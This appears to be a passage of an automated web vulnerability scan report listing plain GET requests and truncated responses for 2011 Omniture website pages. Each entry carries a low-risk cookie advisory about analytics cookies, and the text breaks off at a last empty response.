GET /en/education/courses HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:05 GMT Content-Length: 27072 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services | Cours ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/discover HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:12 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:13 GMT Content-Length: 28121 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Discover Training Courses | Web ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/dop_analyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:19 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:19 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:19 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:19 GMT; path=/; domain=omniture.com Content-Length: 37572
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Insight Training Courses | Web ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/merchandising HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:48 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:48 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:49 GMT Content-Length: 28432 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:48 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Merchandising Training Courses ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/online_marketing_suite HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:55 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:55 GMT Content-Length: 31327 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:55 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketing Suite Training ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/sbu HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:11 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:11 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:11 GMT; path=/; domain=omniture.com Content-Length: 48885
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>SiteCatalyst Training Course | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/searchcenter HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:07:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:07:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:07:20 GMT Content-Length: 30122 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:07:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>SearchCenter Training Courses ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/sitesearch HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:13 GMT Content-Length: 27900 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:13 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>SiteSearch Training Courses | W ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/survey HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:44 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:44 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:45 GMT Content-Length: 27617 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:44 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Survey Training Courses | Web A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/courses/testandtarget HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:06:11 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:06:11 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:06:11 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:06:11 GMT; path=/; domain=omniture.com Content-Length: 38553
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Test&Target Training Courses | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:42 GMT Content-Length: 21370 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Program Overvi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners/apply HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:16:07 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Wed, 02 Feb 2011 19:16:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:16:07 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:16:07 GMT; path=/; domain=omniture.com Content-Length: 33367
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Become a Partner | Online Busin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners/portal HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:54 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:54 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:54 GMT Content-Length: 21832 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:54 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Portal Login | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/partners/showcase HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:49 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:49 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:49 GMT Content-Length: 29397 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:49 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Partner Showcase | Onl ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:43:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:43:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:43:36 GMT Content-Length: 23114 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:43:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Privacy Center | Online Busines ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en/privacy/2o7?f=2o7 HTTP/1.1 Host: www.omniture.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BIGipServerhttp_omniture=84542986.5892.0000
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 15:39:24 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 15:39:24 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Date: Wed, 02 Feb 2011 15:39:24 GMT Connection: close Set-Cookie: omniture_unique=c4b47f0affb47cea2cd263f6285f016c; path=/; domain=omniture.com Set-Cookie: cms_site_lang=1; expires=Fri, 04-Mar-2011 15:39:24 GMT; path=/; domain=omniture.com Set-Cookie: use207=7; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 15:39:24 GMT; path=/; domain=omniture.com Content-Length: 23935
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Privacy - 2o7.net Expl ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/privacy/policy HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
